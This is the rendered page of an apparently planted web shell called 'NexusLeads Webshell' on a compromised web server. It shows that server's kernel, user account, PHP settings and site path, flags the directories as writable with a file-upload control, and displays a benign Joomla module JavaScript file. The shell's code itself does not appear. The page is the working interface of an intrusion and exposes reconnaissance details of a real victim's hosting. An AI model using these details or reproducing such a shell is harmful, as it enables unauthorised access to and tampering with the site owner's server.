NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/domains/alsaif.group/public_html/media/advancedmodules/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/domains/alsaif.group/public_html/media/advancedmodules/js/frontediting.js
/**
 * @package         Advanced Module Manager
 * @version         9.9.0
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

(function($) {
    $(document).ready(function() {
        // Menu items edit icons:
        setTimeout(function() {
            $('.jmoddiv[data-jmenuedittip] .nav li,.jmoddiv[data-jmenuedittip].nav li,.jmoddiv[data-jmenuedittip] .nav .nav-child li,.jmoddiv[data-jmenuedittip].nav .nav-child li').on({
                mouseenter: function() {
                    const itemids = /\bitem-(\d+)\b/.exec($(this).attr('class'));
                    if (typeof itemids[1] !== 'string') {
                        return;
                    }

                    setTimeout(function() {
                        $('a.jfedit-menu').each(function() {
                            const menuitemEditUrl = $(this).prop('href')
                                .replace(
                                    /(?:\/administrator)?\/index.php\?option=com_advancedmodules.*?edit([^\d]+).+$/,
                                    '/administrator/index.php?option=com_menus&view=item&layout=edit$1' + itemids[1]
                                );

                            $(this).prop('href', menuitemEditUrl);
                        });
                    }, 10);
                }
            });
        }, 1000);
    });
})(jQuery);

NexusLeads